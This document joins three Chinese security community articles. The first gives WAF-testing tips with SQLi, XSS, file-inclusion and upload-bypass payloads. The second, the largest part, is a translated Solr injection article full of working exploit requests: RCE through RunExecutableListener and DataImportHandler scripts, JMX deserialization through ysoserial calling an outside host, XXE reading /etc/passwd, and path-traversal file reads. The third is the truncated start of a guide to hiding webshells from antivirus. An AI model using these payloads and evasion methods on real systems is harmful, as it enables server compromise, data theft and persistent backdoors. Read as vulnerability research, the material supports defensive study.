考虑到正则匹配容易误报漏报，有厂家放弃了这种分析模式，转而做语义分析。长亭科技的SqlChop就是如此，详情可阅读[SQLChop – 一个新型 SQL
注入检测引擎 ](https://blog.chaitin.com/sqlchop-the-sqli-detection-engine/)
在测试中，需要手工对payload做编码变形。详细说来：
SQLi变形
urlencode编码：别小看这种常见的绕过方法，有厂家的WAF还真检测不出来。
unicode编码
关键字大小写替换：这个比较常规了，基本是没有检测不到的。
关键字转为十六进制
关键字用反引号引起来
关键字用/#! #/注释引起来
关键字用/##/注释截断：select转为sel/**/ect
关键字用%00截断
提交的HTTP包中，将x-originating-IP 改为127.0.0.1
提交的HTTP包中，将X-remote-addr 改为127.0.0.1
SQLMAP的各类TAMPER，挨个试一试吧
XSS变形
XSS变形最多，WAF漏报也是最严重的。谁让HTML可利用的标签那么多呢。
这一块的测试，有赖于测试者平时收集各类XSS payload 的量。我仅列出一部分常见的以供参考：
<embed/src=//goo.gl/nlX0P>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<a onmouseover="window.onerror=;throw 1>
<svg><script>varmyvar="YourInput";</script></svg>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
<script>//@cc_on!(1)/*@cc_on~(2)@*/</script>
<marquee/onstart=confirm(2)>/
<a/onmouseover[x0b]=location='x6Ax61x76x61x73x63x72x69x70x74x3Ax61x6Cx65x72x74x28x30x29x3B'>XSS
文件包含绕过
data:text/plain;base64,ZGF0YTp0ZXh0L3BsYWluLDw/cGhwIHN5c3RlbSgnY2F0IC92YXIvd3d3L0ZpbGVJbmNsdWRlLnBocCcpPz4=
文件上传绕过
文件上传绕过主要考虑几个方面：
123.php.123
123.asp;.gif
as.php%00.gif
文件开头添加GIF89a
burpsuite抓包修改Content-Type: image/jpeg
**0X04 扫描器防御能力**
WAF应具备根据数据包特征识别扫描器的能力，并加以阻止。常见的扫描器，如WVS、SQLMAP、Netsparker、havij、Appscan都应该拿来实际测试WAF的反映。
需要说明的一点是，WAF不仅要拦截扫描器发来的数据包，还应在日志中注明，攻击者使用何种扫描器。这对运维人员分析日志很有帮助。
例如，实际测试中，Imperva对SQLMAP和Netsparker都可以准确识别。而F5的ASM则可以准确识别WVS和SQLMAP。FortiWeb则不具备这个能力。
**0X05 Webshell防御**
**webshell拦截**
文件上传防御难免百密一疏，普通的webshell上传后，攻击者必然要通过与webshell通信，开展后续渗透。WAF必须有能力识别通信内容，并及时阻断。很多webshell的通信内容是经过base64编码的，WAF必须具备解码后准确分析的能力。
测试方法很简单，在服务器上放好测试的webshell，客户端通过WAF后访问webshell，执行重要的操作，如：dir、ls、net
user等系统命令；连接操作数据库；上传下载文件等。
这项测试需要收集大量常用webshell，用于覆盖常见webshell的识别。Github上有一个项目收集了各种格式的webshell，妈妈再也不担心我找不到shell啦。
[Github webshell collect](https://github.com/tennc/webshell)
**一句话拦截**
如果服务器安装有杀毒软件，常见webshell是可以被查杀的。大马能拦住，小马当然也不能放过。一句话木马可是杀软无力识别的。
防御一句话，其实防御的是菜刀以及各种版本的菜刀与一句话的通信。
这里要重点说两款工具：
cknife：[[项目地址]](https://github.com/Chora10/Cknife)，这把刀可以自定义各种通信方式和php执行函数用于绕过waf检测。实际测试下来，的确很多家waf的默认策略对自定义模式拦截无力。
antSword：[[项目地址]](https://github.com/antoor/antSword/releases)，修改版的菜刀，也很好用。
**0X06 暴力破解及其他杂项**
**暴力破解**
WAF必须具备识别工具自动爆破密码的能力，其实判断的原理不难，分析请求某个文件的某几个参数的频率即可。用BurpSuite测一测就知道。在WAF上需要手工配置防爆破的策略，指明请求的URI、用户需要输入的参数名、访问阈值条件。
F5
ASM在判断暴力破解行为时，会判断会话有效性，造成这里有个bug，使用burpsuite爆密码时ASM根本拦不住。开了售前ticket查了半天，联系研发才闹明白是判断机制设计所致，自然也就无法修改了。
**机器访问**
为了防止薅羊毛，WAF必须具备能力，根据用户自定义的URI、参数名、源IP/目的IP、目的URL等条件，拦截超出正常频率的机器访问行为。
这项测试非常考验设备的自定义程度，而Imperva在自定义策略的灵活性上，遥遥领先其他友商，无愧于Gartner第一象限的位置。自定义程度越高，策略越灵活，防御效果越好，对甲方工程师的技术要求也就越高。很多传统行业的甲方工程师由于不熟悉攻防，对HTTP没研究那么深，自定义策略反而成了工作的负担。在和Imperva工程师交流时多次看到其他同行发来的邮件，询问某某场景下实现某功能，应该如何配置。我觉得如果不懂HTTP，WAF干脆就不要玩了，纯粹是给自己找负担。从白帽子的角度来说，目标网站有WAF不可怕，渗透还是要坚持的，万一对方不懂HTTP呢。
**指定参数拦截**
在post表单中，安全基线要求代码必须判断用户输入内容是否合理。比如，手机号一项，必须提交13/15/17/18开头的11位纯数字。如果编码时实现该需求，一行正则匹配就搞定。但是你不能保证每个程序猿都是勤奋的。所以，用WAF帮助站点实现该需求是必备功能要求。
WAF必须具备识别制定URI的指定参数，提交的数据格式。这一项也是将各厂家区分开的重要指标。
**命令注入**
WAF还必须具备识别命令注入攻击的能力，这一项DVWA是提供了测试功能的。之所以重点拿出来说，是因为Imperva、F5
ASM在这里都存在明显的疏漏。常见系统命令，这两家的WAF都不能在默认策略下准确识别。这一点我很奇怪，明明特征库里是有这一类特征的，可为何检出率如此低？
**0X07 设备自身安全**
WAF除了要保护目标网站的安全性之外，自身的安全性也不可或缺。别不信，FortiWeb的5.5.3版本就存在CSRF漏洞。国产主流的漏洞扫描产品，除了绿盟也都存在CSRF漏洞。
另外，要使用NMAP等各种工具扫描设备开放的端口，看看有没有什么服务存在已知漏洞。
第三，设备登录入口必须支持连续登录失败X次后拦截登录请求的功能，防止被爆破。
第四，设备web端会使用类似jQuery等库，而第三方库是有各种已知漏洞的，查到CVE后逐个验证下漏洞是否存在。
第五，开个WVS扫一扫页面吧，看看有没有什么明显的漏洞。
**0X08 自学习**
商业WAF相比自研WAF，最大的优势在于自学习功能。商业WAF拥有多项专利技术，可以根据web应用的访问行为和流量，自动学习用户正常访问行为特征，据此建立防御策略。Imperva在这方面技术领先很多，专利也最多。如果用好了自学习功能，WAF的漏过能够很大程度上的改善。
但是，凡事没有绝对。WAF的自学习功能最大的困扰是误报。Web应用的功能非常复杂，请求方式千奇百怪，机器学习算法再精妙，也不可能百分百还原所有用户正常行为。一旦误判，大量的误报拦截会让管理员叫苦不迭。
实际测试下来，个人感觉自学习功能更多时候是厂商拿来做宣传的噱头和控标的一个指标项，但是实际在生产环境中使用它，最好还是慎之又慎，就连厂商工程师都不建议使用，你敢给领导打保票背这个雷吗？
但是自学习功能并非是聋子的耳朵–摆设。自学习最大的用处其实是分析用户行为的工具。用这个功能连续监控一个月之后，哪个URL被访问次数最多，用户的请求方法与行为是什么，可以通过自动报告一览无余。有了这个报告，后续在做Web应用调优、访客行为分析、判断误报等方面还是很有用的。
**0X09 第三方测试工具**
除了上述各种手工测试项目，还可以使用第三方开源工具测试WAF的拦截能力。这里推荐两个工具。
**第一：** 碳基体的测试工具：[[项目地址]](https://github.com/tanjiti/WAFTest)
这款工具是用perl写的，在t文件夹下已经写好了很多测试脚本，这些脚本可以把攻击payload放在http协议的各个字段提交，用于测试WAF在不同http参数的识别能力。具体用法不多说了，碳基体写的非常清楚。
这里想说两点：
1\. X-Forwared-For是很多WAF会漏过的点。
2\. 没有哪家WAF可以百分百拦截所有测试脚本。换句话说，测出来漏过的地方，需要WAF上手工配置策略，白帽子们也可以在渗透时自由发挥了。
**第二：** Ironbee项目：[[项目地址] ](https://github.com/ironbee/waf-research)
Ironbee是一款开源waf，这个项目是测试拦截率的攻击，也是用perl写的。同样的，baseline-detection目录下的脚本，也不是默认策略可以百分百识别的。
**0X10 管理与维护**
WAF除了要满足低误报低漏报，还必须人性化易管理。下面的几个功能点，是从管理员角度出发测试的内容。
设备操作日志：WAF的所有管理员操作必须留存日志备查。
管理员权限分割：管理员必须不能删除和操作设备日志，管理与审计权限必须分立。
误报后的快速例外：WAF会出现超过50%的误报，出现误报后，设备必须支持快速且简便的例外策略生成。
日志包含完整http的request和response，高亮显示违规内容。
日志可导出：WAF的日志必须支持以标准syslog格式导出，既可以与SIEM联动，也可以让管理员手工分析。
多种形式的报表展现：包括但不限于自定义源地址、目的地址、攻击手法、规则、日期时间等条件的自由组合生成报表。
流量可视化展现：统计每个站点流量、统计指定源的流量、统计点击次数，可视化展现。
**0X11 写在最后**
写这篇文章的初衷，绝非为某个品牌站台，或者贬损某个品牌。我在写作的过程中尽量避免带有个人感情色彩，尽量保持对品牌的中立性。任何WAF都是众多开发人员的辛苦结晶，每家都有自己独到的地方，也难免存在疏漏。希望通过甲方安全人员的和厂商研发人员的共同努力，把WAF完善的更好更易用。
受限于自己技术能力，测试方法和测试内容难免有遗漏或错误，希望读者反馈指正，本人博客：[www.lewisec.com](http://www.lewisec.com)。 | 社区文章 |
文章来源：<https://github.com/artsploit/solr-injection/>
* * *
## 概述
在这篇文章中，我们提出了一种新漏洞：“Solr参数注入”，并且分享了如何在不同的场景下构造exp。 同时，本文总结了Apache Solr的历史漏洞。
Apache Solr是一个开源企业搜索平台。Solr使用Java语言开发，隶属于Apache Lucene项目。 Apache
Solr的主要功能包括全文检索、命中标示、分面搜索、动态聚类以及文档处理。
同时它还集成了数据库功能：你可以运行服务器，创建集合，并向它传输各种类型的数据（例如文本，xml文档，pdf文档等）。Solr会自动索引这些数据，同时提供大量且高效的REST
API接口，以便搜索数据。
用户只能使用HTTP协议与Solr服务器通信，并且默认不需要身份令牌即可访问，这使得它非常容易出现SSRF，CSRF和HRS（HTTP请求走私）漏洞。
## Solr API
启动Solr实例后（命令"./bin/solr start -e dih"），它会在8983端口创建一个web服务器。
这里我们使用的示例中已经有一些数据，可以尝试搜索。 简单地搜索关键词“Apple”，程序将开始在所有文档中检索并以JSON格式返回结果：
尝试更复杂的查询：
主要的参数有：
* **/solr/db/select** \- "db"是仓库名称，"/select"表示我们想执行的搜索操作（由[SearchHandler](https://github.com/apache/lucene-solr/blob/master/solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java)类处理）
* **q={!dismax+df=name}Apple** \- 程序通过“dismax”查询解析器，在“name”字段搜索包含“Apple”关键字的数据。 注意，大括号间的数据将被解析为[Solr本地参数](https://lucene.apache.org/solr/guide/6_6/local-parameters-in-queries.html)
* **fl=*,score,similar:[subquery]** \- "fl"代表要返回的字段名称，通过[[subquery]](https://lucene.apache.org/solr/guide/6_6/transforming-result-documents.html#TransformingResultDocuments-_subquery_) 转换器可以包含另一个查询的结果。 同时在本例中，我们的子查询为"computer"。
除了搜索之外，用户还可以更新，查看和修改配置，甚至复制操作。 通过访问Solr Web管理页面，我们可以上传或修改数据以及其他任何操作。
同时，在默认情况下Solr不存在用户或角色，这使得它非常容易出现SSRF，CSRF和HRS（HTTP请求走私）漏洞。
## Apache Solr注入
和数据库类似，大多数情况用户不能直接访问Solr Rest API，并且只能在内部供其他程序使用。
基于这种情况，我们想对使用Solr的Web程序引入一些新的攻击。
### Solr参数注入（HTTP走私）
当目标应用程序对Solr进行HTTP API调用，并接收不受信的用户输入，则可能无法正确地URL编码数据。 下面是一个简单的Java Web
App，只接受一个参数"q"，并且通过server-to-server的形式对Solr服务器发出内部请求：
@RequestMapping("/search")
@Example(uri = "/search?q=Apple")
public Object search1(@RequestParam String q) {
//search the supplied keyword inside solr
String solr = "http://solrserver/solr/db/";
String query = "/select?q=" + q + "&fl=id,name&rows=10";
return http.get(solr + query);
}
因为不会对数据做URL编码，所以我们可以构造发送`q = 123％26param1 = xxx％26param2 =
yyy`这一类Payload，向Solr搜索请求中注入额外参数，同时还能可以修改请求处理的逻辑。 `%26`为编码后的`$`，它是HTTP查询中的分割符。
用户发出正常请求：
GET /search?q=Apple
Web App向Solr服务器发出请求：
GET /solr/db/select?q=Apple
用户发出恶意请求：
GET /search?q=Apple%26xxx=yyy
Web App向Solr服务器发出请求：
GET /solr/db/select?q=Apple&xxx=yyy
我们很容易可以看出，由于参数注入，参数`q`首先被应用程序解码，但转发至Solr服务器时并未再次编码。
Ok，现在我们该讨论的是如何利用这点？请求无论如何都会被转发至`/select`端点，那么我们可以构造哪些恶意参数然后发送给Solr？
Solr有大量的查询参数，但对于构造exp来说，比较有用的有：
* **shards=<http://127.0.0.1:8983/> ** \- 指定shards的值，请求将转发到恶意Solr服务器，使目标Solr服务器变成一个反向代理服务器。 攻击者可以发送任意数据给Solr服务器，甚至绕过防火墙访问Admin API。
* **qt=/update** \- 重写请求的处理端点（`/select`，`/update`等等）。 由于程序总是默认发送请求至`/solr/db/select`，这很容易使开发人员产生错觉，认为请求只会用于搜索。其实通过使用'qt'和'shards'参数，我们可以访问'/update'或'/config'端点。
* **shards.qt=/update** \- 也可以重写请求的处理端点。
* **stream.body=xxx** \- 重写整个请求。但在新版本中被禁用，因此只针对旧版本。
如果将这些参数“走私”到Solr查询请求中，则会造成严重的安全漏洞，可以修改Solr实例内部的数据，甚至导致RCE。
#### Exploitation示例
构造更改Solr配置属性的请求：
GET /search?q=Apple&shards=http://127.0.0.1:8983/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
查询其他仓库的数据：
GET /solr/db/select?q=Apple&shards=http://127.0.0.1:8983/solr/atom&qt=/update?stream.body=[%257b%2522id%2522:%25221338%2522,%2522author%2522:%2522orange%2522%257d]%26wt=json&commit=true&wt=json
修改指定仓库的数据：
GET /solr/db/select?q=orange&shards=http://127.0.0.1:8983/solr/atom&qt=/select?fl=id,name:author&wt=json
另一个利用方法是更改Solr的响应。“fl”参数会列出查询返回的字段。 通过发出以下请求我们可以要求仅返回“名称”和“价格”字段：
GET /solr/db/select?q=Apple&fl=name,price
当此参数被污染时，我们可以利用[ValueAugmenterFactory](https://lucene.apache.org/solr/guide/6_6/transforming-result-documents.html#TransformingResultDocuments-_value_-ValueAugmenterFactory)`（fl = name：[value v
='xxxx']）`向文档注入其他字段，并在查询中指定要注入的内容`'xxxx'`。 此外，我们通过结合Xml Transformer`（fl =
name：[xml]）`，可以解析服务器端提供的值，并将结果回现到文档且不会发生转义。 因此该技术可用于XSS：
GET /solr/db/select?indent=on&q=*&wt=xml&fl=price,name:[value+v='<a:script+xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>'],name:[xml]
注意：
* 7.6版本以上无法造成XXE攻击
* Solr 5.2以后才引入RawValueTransformerFactory
### Solr本地参数注入
常见的情况是只有一个参数`q`，并且它会被正确编码：
@RequestMapping("/search")
public Object select(@RequestParam(name = "q") String query) {
//search the supplied keyword inside solr and return result|
return httprequest(solrURL + "/db/select?q=" + urlencode(query));
}
这种情况下，仍可以指定解析类型和[Solr本地参数](https://lucene.apache.org/solr/guide/6_6/local-parameters-in-queries.html)：
GET /search?q={!type=_parser_type_+param=value}xxx
在2013年有人就已经提出这类[攻击](https://javahacker.com/abusing-the-solr-local-parameters-feature-localparams-injection/)，但在2017年前仍没有人知道如何利用。那时我们报告了漏洞[CVE-2017-12629](https://www.exploit-db.com/exploits/43009)， 分享了如何通过'xmlparser'解析器来造成XXE：
GET /search?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://127.0.0.1:/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}
在CVE-2017-12629无效的版本中，本地参数注入几乎无害。似乎可以用于DoS攻击，但是由于Solr使用了lucene的语法，DoS非常容易实现，所以它不重要。另一个潜在的本地参数注入攻击是通过使用Join
Query解析器访问其他仓库的数据：
GET /search?q={!join from=id fromIndex=anotherCollection to=other_id}Apple
另一个仓库ID应与前一个相同，因此攻击有时会失效。由于CVE-2017-12629已被修补，我不觉得它是一个安全漏洞，除非有人找到更好的利用方法。
## RCE方法总结
大多数攻击者对仓库的数据不感兴趣，而是想要实现RCE或本地文件读取。下面我对它们做了总结：
### 1\. [CVE-2017-12629] 通过RunExecutableListener实现RCE
**适用的Solr版本** ：5.5x-5.5.5, 6x-v6.6.2, 7x - v7.1
**要求** ：无
该攻击是利用[Solr ConfigApi](https://lucene.apache.org/solr/guide/7_4/config-api.html)添加一个新的[RunExecutableListener](http://lucene.apache.org/solr/6_6_2/solr-core/org/apache/solr/core/RunExecutableListener.html)，从而执行shell命令。
添加这个Listener后，还需要通过"[/update](https://lucene.apache.org/solr/guide/6_6/uploading-data-with-index-handlers.html#UploadingDatawithIndexHandlers-AddingaSingleJSONDocument)"触发程序更新操作，然后执行命令。
直接发送给Solr服务器的请求：
POST /solr/db/config HTTP/1.1
Host: localhost:8983
Content-Type: application/json
Content-Length: 213
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"nslookup",
"dir":"/usr/bin/",
"args":["solrx.x.artsploit.com"]
}
}
构造Solr参数注入Payload：
GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/config%23&stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"nslookup","dir":"/usr/bin/","args":["solrx.x.artsploit.com"]}}&isShard=true
GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/update%23&commit=true
构造Solr本地参数注入Payload：
GET /solr/db/select?q={!xmlparser+v%3d'<!DOCTYPE+a+SYSTEM+"http%3a//localhost%3a8983/solr/db/select%3fq%3dxxx%26qt%3d/solr/db/config%3fstream.body%3d{"add-listener"%3a{"event"%3a"postCommit","name"%3a"newlistener","class"%3a"solr.RunExecutableListener","exe"%3a"nslookup","dir"%3a"/usr/bin/","args"%3a["solrx.x.artsploit.com"]}}%26shards%3dlocalhost%3a8983/"><a></a>'}
GET /solr/db/select?q={!xmlparser+v='<!DOCTYPE+a+SYSTEM+"http://localhost:8983/solr/db/update?commit=true"><a></a>'}
因为构造方法类似（将"qt"和"stream.body"参数与"xmlparser"组合），接下来我们将省略构造“Solr（本地）参数注入"
Payload的过程。
### 2\. [CVE-2019-0192] 通过jmx.serviceUrl实现反序列化
**适用的Solr版本** ：5？（暂未确定从哪个版本开始引入Config API接口）~7。版本7之后JMX被弃用。
**要求**
：防火墙不会阻拦Solr向外发出请求；在目标的类路径（classpath）或JMX服务器中的任意端口（利用时目标端口会被打开）中，存在一些特定的反序列化gadget。
通过ConfigAPI可设置'jmx.serviceUrl'属性，然后创建一个新的JMX MBeans服务器并且在指定的RMI/LDAP注册表上注册。
POST /solr/db/config HTTP/1.1
Host: localhost:8983
Content-Type: application/json
Content-Length: 112
{
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://artsploit.com:1617/jmxrmi"
}
}
在代码层，它通过对RMI/LDAP/CORBA服务器进行“绑定（bind）”操作，然后触发JNDI调用。 与JNDI
'lookup'不同，'bind'操作不支持远程调用类，因此我们无法引用外部代码库。
同时，它通过`JMXConnectorServer.start()`创建一个新的低安全性的JMX服务器：
public static MBeanServer findMBeanServerForServiceUrl(String serviceUrl) throws IOException {
if (serviceUrl == null) {
return null;
}
MBeanServer server = MBeanServerFactory.newMBeanServer();
JMXConnectorServer connector = JMXConnectorServerFactory
.newJMXConnectorServer(new JMXServiceURL(serviceUrl), null, server);
connector.start();
return server;
}
最终调用为`InitialDirContext.bind(serviceUrl)`，（如果使用RMI协议）还将调用`sun.rmi.transport.StreamRemoteCall.executeCall()`，那里包含了反序列化入口`ObjectInputStream.readObject()`。
有两种攻击方式：
#### 利用反序列化
恶意RMI服务器可以通过 `ObjectInputStream`方法响应任意对象，并且在Solr端反序列化。显然这是不安全的。
使用[ysoserial](https://github.com/frohoff/ysoserial)工具的['ysoserial.exploit.JRMPListener'](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java)类可以快速构建一个RMI服务器。
根据目标的classpath，攻击者可以使用一个“gadget chains”在Solr端获取远程执行代码。
其中一个可用gadget为[ROME](https://github.com/artsploit/ysoserial/blob/master/src/main/java/ysoserial/payloads/ROME2.java)。这是因为Solr包含了一个数据提取功能的库：“contrib/extraction/lib/rome-1.5.1.jar”，但该库为可选，只是包含在Solr的配置中。
此外，你还可以试试Jdk7u21 gadget链。
**实验（solr 6.6.5, MacOS, java8u192）** ：
1. 下载解压solr6.6.5:
wget https://www.apache.org/dist/lucene/solr/6.6.5/solr-6.6.5.zip
unzip solr-6.6.5.zip
cd solr-6.6.5/
2. 根据contrib/extraction/README.txt文档说明，复制提取依赖关系：
cp -a contrib/extraction/lib/ server/lib/
3. 启动solr
./bin/solr start -e techproducts
4. 在另一个文件夹中，下载编译ysoserial项目（你可能要对ysoserial的版本做一点修改）
git clone https://github.com/artsploit/ysoserial
cd ysoserial
mvn clean package -DskipTests
5. 启动恶意RMI服务器，在1617端口处理ROME2对象：
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1617 ROME2 "/Applications/Calculator.app/Contents/MacOS/Calculator"
6. 设置`jmx.serviceUrl`属性，使Solr与RMI服务器进行通信：
curl -X POST -H 'Content-type: application/json' -d '{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://localhost:1617/solrjmx"}}' http://localhost:8983/solr/techproducts/config
7. Solr服务器执行"/Applications/Calculator.app/Contents/MacOS/Calculator"，弹出计算器。在对象反序列化完毕后，Solr会抛出"UnexpectedException"。
#### 访问JMX进行攻击
另一种方法是设置特定的RMI注册表（例如使用JDK的'rmiregistry'），使得Solr在上面注册JMX。 然后Solr会随机选取一个端口，创建JMX
MBean服务器，并会把该端口写入攻击者的RMI注册表中。
如果没有防火墙阻拦该端口，则攻击者可以通过metasploit的java_jmx_server模块或使用mjet部署一个恶意的MBean。该漏洞的根本原因是无需身份令牌即可创建JMX
Mbeans服务器。
**实验：**
1. 启动Solr
./bin/solr start -e techproducts
2. 创建一个特定的RMI注册表：
rmiregistry 1617
3. 设置`jmx.serviceUrl`属性，使得Solr与恶意RMI服务器通信
curl -X POST -H 'Content-type: application/json' -d '{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://localhost:1617/jmxrmi"}}' http://localhost:8983/solr/techproducts/config
4. 在本地注册表中查看Solr JMX端口
nmap -A -v 127.0.0.1 -p 1617 --version-all
1. 通过mjet工具部署一个恶意的Mbean
jython mjet.py 127.0.0.1 1617 install pass http://127.0.0.1:8000 8000
### 3\. [CVE-2019-0193] 通过dataImportHandler实现RCE
**适用的Solr版本** ：1.3 – 8.2
**要求** ：启用DataImportHandler
Solr提供了[DataImportHandler](https://cwiki.apache.org/confluence/display/solr/DataImportHandler)，通过该方式可以从数据库或URL导入数据，同时也可以在dataConfig参数的脚本标记中插入恶意JavaScript代码，然后代码将在每一个导入的文档中执行。
向Solr服务器发出的利用请求：
**实验：**
GET /solr/db/dataimport?command=full-import&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0d%0a%20%20%3c%64%61%74%61%53%6f%75%72%63%65%20%74%79%70%65%3d%22%55%52%4c%44%61%74%61%53%6f%75%72%63%65%22%2f%3e%0d%0a%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%66%75%6e%63%74%69%6f%6e%20%66%31%28%64%61%74%61%29%7b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%5b%22%28%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%29%22%5d%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%63%22%2c%22%63%75%72%6c%20%31%32%37%2e%30%2e%30%2e%31%3a%38%39%38%34%2f%78%78%78%22%5d%29%2e%73%74%61%72%74%28%29%7d%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%3c%64%6f%63%75%6d%65%6e%74%3e%0d%0a%20%20%20%20%3c%65%6e%74%69%74%79%20%6e%61%6d%65%3d%22%78%78%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%72%6c%3d%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%61%64%6d%69%6e%2f%69%6e%66%6f%2f%73%79%73%74%65%6d%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%72%65%73%70%6f%6e%73%65%22%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%48%54%4d%4c%53%74%72%69%70%54%72%61%6e%73%66%6f%72%6d%65%72%2c%52%65%67%65%78%54%72%61%6e%73%66%6f%72%6d%65%72%2c%73%63%72%69%70%74%3a%66%31%22%3e%0d%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0d%0a%20%20%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0d%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e
测试时，请确保Solr端可以访问到URL中的“实体”部分，并且会返回有效的XML文档以便进行Xpath评估。
另一种方法是使用dataSource类型 - “JdbcDataSource”以及驱动程序“com.sun.rowset.JdbcRowSetImpl”：
**实验** ：
GET /solr/db/dataimport?command=full-import&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0d%0a%20%20%3c%64%61%74%61%53%6f%75%72%63%65%20%74%79%70%65%3d%22%4a%64%62%63%44%61%74%61%53%6f%75%72%63%65%22%20%64%72%69%76%65%72%3d%22%63%6f%6d%2e%73%75%6e%2e%72%6f%77%73%65%74%2e%4a%64%62%63%52%6f%77%53%65%74%49%6d%70%6c%22%20%6a%6e%64%69%4e%61%6d%65%3d%22%72%6d%69%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%36%30%36%30%2f%78%78%78%22%20%61%75%74%6f%43%6f%6d%6d%69%74%3d%22%74%72%75%65%22%2f%3e%0d%0a%20%20%3c%64%6f%63%75%6d%65%6e%74%3e%0d%0a%20%20%20%20%3c%65%6e%74%69%74%79%20%6e%61%6d%65%3d%22%78%78%22%3e%0d%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0d%0a%20%20%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0d%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e
这样，我们通过使用基于'com.sun.rowset.JdbcRowSetImpl'类的一个gadget链执行反序列化。它需要为'jndiName'和'autoCommit'属性调用两个set方法，然后跳转到可利用的'InitialContext.lookup'，我们可以将它作为普通的JNDI解析攻击来利用。
有关JNDI攻击的方法，请参阅[Exploiting JNDI
Injections](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)。 Solr基于Jetty，因此攻击Tomcat的一些tircks在这里并不适用，但你可以尝试使用最近为LDAP修复的远程类加载的方法。
### 4\. [CVE-2012-6612, CVE-2013-6407, CVE-2013-6408] Update中的XXE
**适用的Solr版本** ：1.3 - 4.1 or 4.3.1
**要求** ：无
如果你遇到了一个老版本的Solr，则它的'/update'非常有可能易受XXE攻击：
POST /solr/db/update HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/xml
Content-Length: 136
<!DOCTYPE x [<!ENTITY xx SYSTEM "/etc/passwd">]>
<add>
<doc>
<field name="id">&xx;</field>
</doc>
<doc>
</doc>
</add>
### 5\. [CVE-2013-6397] 通过路径遍历和XSLT响应写入实现RCE
**适用的Solr版本** ：1.3 - 4.1 or 4.3.1
**要求** ：可以上传XLS文件到指定目录。
这是[Nicolas
Grégoire](https://twitter.com/Agarri_FR)在2013年发现的，他也写了一篇漏洞分析[文章](\[a good
blogpost\]\(https://www.agarri.fr/blog/archives/2013/11/27/compromising_an_unreachable_solr_server_with_cve-2013-6397/index.html))。
GET /solr/db/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../usr/share/ant/etc/ant-update.xsl
### 6\. [CVE-2017-3163] 通过ReplicationHandler实现任意文件读取
**适用的Solr版本** ：5.5.4~6.4.1
要求：无
GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1
其实这里还有个未修补的SSRF漏洞，但由于"shards"特性，它不被视为漏洞。
GET /solr/db/replication?command=fetchindex&masterUrl=http://callback/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb
## 黑盒测试
综上所述，漏洞猎人如果在目标网站上发现全文搜索的搜索表单时，可以发送以下OOB Payload以检测此漏洞，这非常值得一试：
GET /xxx?q=aaa%26shards=http://callback_server/solr
GET /xxx?q=aaa&shards=http://callback_server/solr
GET /xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://callback_server/solr'><a></a>"}
## 小结
不管Solr实例是面向Internet，反向代理后端或仅由内部Web应用程序使用，用户可以自主修改Solr的搜索参数，因此存在非常大的风险。
如果将Solr用作Web服务且可以访问，那么攻击者通过Solr（本地）参数注入，可以修改或查看Solr集群中的所有数据，甚至还可以组合其他漏洞获取远程代码执行权限。 | 社区文章 |
**0x00：前言**
由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好
而且不会被杀软的正则和沙盒规则约束。
**0x01：自定义加密Bypass**
部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
比如这个 都能被检测出是shell
所以为了防止这种的规则 自定义加密显然是最优解
自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位
甚至是对称加密算法等都是可以绕过这类规则检测
* base32编码payload
（<https://github.com/pureqh/webshell）：>
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
